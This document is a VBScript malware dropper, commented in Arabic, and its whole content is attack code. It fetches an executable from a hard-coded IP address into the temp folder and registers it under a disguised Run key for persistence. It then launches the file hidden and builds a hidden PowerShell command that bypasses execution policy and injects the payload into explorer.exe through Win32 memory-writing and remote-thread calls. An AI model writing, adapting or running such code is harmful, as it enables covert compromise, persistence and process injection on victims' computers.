Dim httpObject, streamObject, shellObject, fsoObject
Dim fileUrl, savePath, registryKey, targetProcess

' [المرحلة الأولى: تحديد المسارات والعناوين Target Setup]
fileUrl = "http://100.110.37.121/payload.exe"
savePath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\payload.exe"
registryKey = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemExplorer"
targetProcess = "explorer.exe"

' [المرحلة الثانية: تنزيل الملف التنفيذي Payload Download]
Set httpObject = CreateObject("MSXML2.ServerXMLHTTP.6.0")
httpObject.Open "GET", fileUrl, False
httpObject.Send

If httpObject.Status = 200 Then
    Set streamObject = CreateObject("ADODB.Stream")
    streamObject.Type = 1 ' Binary
    streamObject.Open
    streamObject.Write httpObject.ResponseBody
    streamObject.SaveToFile savePath, 2 ' Overwrite
    streamObject.Close
End If

' [المرحلة الثالثة: التثبيت في الريجستري Registry Persistence]
Set shellObject = CreateObject("WScript.Shell")
shellObject.RegWrite registryKey, savePath, "REG_SZ"

' [المرحلة الرابعة: تشغيل الملف وحقن الذاكرة Process Injection Logic]
' استخدام PowerShell لاستدعاء Win32 APIs وحقن الشفرة في explorer.exe
Dim psCommand
psCommand = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command """ & _
"$code = '[DllImport(""kernel32.dll"")]public static extern IntPtr OpenProcess(int a, bool b, int c);[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);[DllImport(""kernel32.dll"")]public static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, out int e);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateRemoteThread(IntPtr a, IntPtr b, uint c, IntPtr d, IntPtr e, uint f, IntPtr g);';" & _
"$type = Add-Type -MemberDefinition $code -Name 'Win32' -Namespace 'Inject' -PassThru;" & _
"$proc = Get-Process -Name explorer; $hProc = $type::OpenProcess(0x001F0FFF, $false, $proc.Id);" & _
"$payload = [System.IO.File]::ReadAllBytes('" & savePath & "');" & _
"$alloc = $type::VirtualAllocEx($hProc, [IntPtr]::Zero, $payload.Length, 0x3000, 0x40);" & _
"$type::WriteProcessMemory($hProc, $alloc, $payload, $payload.Length, [ref]0);" & _
"$type::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $alloc, [IntPtr]::Zero, 0, [IntPtr]::Zero);"""
CreateObject("WScript.Shell").Run Chr(34) & savePath & Chr(34), 0, False

shellObject.Run psCommand, 0, False